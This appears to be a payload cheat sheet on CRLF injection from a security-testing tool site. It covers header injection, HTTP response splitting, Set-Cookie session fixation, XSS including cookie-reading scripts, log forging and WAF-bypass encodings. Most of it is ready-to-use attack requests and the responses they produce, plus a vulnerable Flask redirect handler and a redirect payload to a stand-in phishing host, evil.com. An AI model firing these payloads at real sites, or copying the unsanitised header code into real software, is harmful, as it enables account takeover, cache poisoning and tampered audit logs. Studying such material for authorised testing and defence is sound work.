CRLF Injection: Header Injection, Response Splitting, and XSS via \r\n
CRLF injection exploits the significance of carriage return (\r, %0D) and line feed (\n, %0A) characters in HTTP. Since HTTP headers are delimited by CRLF sequences, injecting these characters into user-controlled values that are later included in HTTP responses allows attackers to inject arbitrary headers, split responses, set cookies, and deliver XSS.
CRLF in HTTP
| Injection Context | Payload | Impact | Example |
|---|---|---|---|
| HTTP response header | %0D%0AHeader: malicious | Header injection | Set-Cookie poisoning |
| Log injection | %0D%0A[INFO] fake log entry | Log forging | Audit evasion |
| URL redirect | %0D%0ALocation: http://evil.com | Open redirect | Phishing |
| XSS via CRLF | %0D%0AContent-Type: text/html%0D%0A%0D%0A<script>alert(1)</script> | XSS | Header smuggling → XSS |
| Session fixation | %0D%0ASet-Cookie: session=attacker_value | Session hijack | Account takeover |
| Cache poisoning | %0D%0AX-Cache-Key: poisoned | Cache confusion | Mass impact |
HTTP/1.1 uses \r\n (CRLF) to separate headers and \r\n\r\n to separate the header section from the body:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: session=abc123
<html>...body...</html>
If user input is reflected in a response header without stripping CRLF characters, the attacker can inject new headers or split the response.
Basic Header Injection
Vulnerable code pattern (Python/Flask example):
@app.route('/redirect')
def redirect_handler():
url = request.args.get('url')
return Response('Redirecting...', headers={'Location': url})
# Malicious request:
GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20session=attacker_value
The server generates:
HTTP/1.1 200 OK
Location: https://example.com
Set-Cookie: session=attacker_value
Content-Type: text/html
HTTP Response Splitting
With two CRLF sequences, attackers can inject a complete second HTTP response, potentially poisoning shared caches:
GET /page?lang=en%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2022%0d%0a%0d%0a<script>alert(1)</script>
The injected CRLF sequences create:
HTTP/1.1 200 OK
Content-Type: text/html
Lang: en
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 22
<script>alert(1)</script>
Intermediary proxies and caches may treat this as two separate responses, caching the injected malicious response.
Set-Cookie Injection for Session Fixation
Injecting a Set-Cookie header allows setting arbitrary cookies in the victim's browser:
GET /setlang?lang=en%0d%0aSet-Cookie:%20sessionid=FIXED_SESSION_ID%3B%20Path=/
The server response includes:
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: lang=en
Set-Cookie: sessionid=FIXED_SESSION_ID; Path=/
This enables session fixation attacks — the attacker knows the victim's session ID and can take over the account after the victim authenticates.
XSS via CRLF
If the application reflects user input in a header and the browser interprets the response body, CRLF can inject XSS:
# Inject a body with XSS after the headers
GET /redirect?url=https://example.com%0d%0a%0d%0a<script>alert(document.cookie)</script>
# Or inject a Content-Type and body:
GET /redirect?url=x%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>
Log Injection
Applications that log user-controlled values (User-Agent, Referer, URL parameters) are vulnerable to log injection. Injecting CRLF characters creates fake log entries:
GET /page HTTP/1.1
User-Agent: Mozilla/5.0%0a10.10.10.10 - - [01/Jan/2026] "GET /admin HTTP/1.1" 200
# Creates a fake log entry making it appear an admin endpoint was accessed
# Can obscure real attack activity in logs
CRLF Bypass Encoding Techniques
Modern frameworks and WAFs often filter literal \r\n and %0d%0a. Try these bypass encodings:
Unicode and Double Encoding
%0d%0a # Standard URL encoding
%0D%0A # Uppercase hex
%E5%98%8D%E5%98%8A # UTF-8 encoded CRLF (Unicode normalization bypass)
%u000d%u000a # Unicode escape (some parsers)
%250d%250a # Double URL encoding
# Literal (for template injection contexts)
Unicode Normalization Bypass
Certain Unicode characters normalize to CRLF after decoding:
# U+2028 LINE SEPARATOR and U+2029 PARAGRAPH SEPARATOR
# Can act as line breaks in some JavaScript contexts
%E2%80%A8 # U+2028
%E2%80%A9 # U+2029
# Some applications normalize these before embedding in responses
Injection in Different HTTP Components
# In URL path:
GET /page/%0d%0aInjected-Header:%20value
# In query parameter:
GET /page?redirect=%0d%0aSet-Cookie:%20pwned=1
# In fragment (less common, needs server-side processing):
GET /page#%0d%0aInjected-Header:%20value
Finding CRLF Injection
- Identify all parameters reflected in response headers (Location, Set-Cookie, custom headers)
- Submit
%0d%0aX-CRLF-Test:%20Injectedand check if the header appears in the response - Test URL-based redirects, language selectors, and download functionality
- Check both 3xx redirects and 200 responses with header reflection
- Use Burp Scanner's passive scan rules — it detects CRLF injection automatically
Burp Suite Detection Rule
# In Burp Intruder, fuzz with:
test%0d%0aX-Injected:%20FUZZ
test%0D%0AX-Injected:%20FUZZ
test%E5%98%8D%E5%98%8AX-Injected:%20FUZZ
Use the Encoding Pipeline to generate CRLF encoding variations. CRLF injection that achieves header injection can chain into Web Cache Poisoning by injecting cache-control headers. For XSS delivery techniques, see our XSS Payloads Guide.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides